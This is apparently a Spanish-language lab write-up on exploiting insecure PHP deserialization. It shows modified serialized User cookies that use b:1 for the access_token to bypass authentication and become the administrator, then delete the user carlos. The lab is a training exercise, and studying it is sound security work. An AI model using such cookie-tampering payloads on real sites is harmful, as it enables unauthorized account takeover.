Skip to content

20260307213301.png

LAB

20260307213558.png

Al ingresar con las credenciales proporcionadas y luego interceptar las solicitudes observaremos que el cookie esta en base64. Por lo que podemos controlar los valores.

20260307213654.png

c
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ddgpp2swx86uzqh3rmn87ju3mnsktijg";}

Al cambiar el valor de s:32:"ddgpp2swx86uzqh3rmn87ju3mnsktijg" a b:1 y enviar la solicitud observamos que el usuario Wiener puede ver el panel de administración.

c
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";b:1;}

20260307214642.png

De la misma manera sucede con el usuario Carlos.

c
O:4:"User":2:{s:8:"username";s:6:"carlos";s:12:"access_token";b:1;}

20260307214150.png

Por lo que podemos mandar solicitudes como el usuario administrador, teniendo en cuenta los valores que en este caso seria:

c
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}

20260307214533.png

Ahora que podemos ejecutar funciones administrativas y para completar el laboratorio debemos eliminar al usuario Carlos.

20260307214901.png

20260307214934.png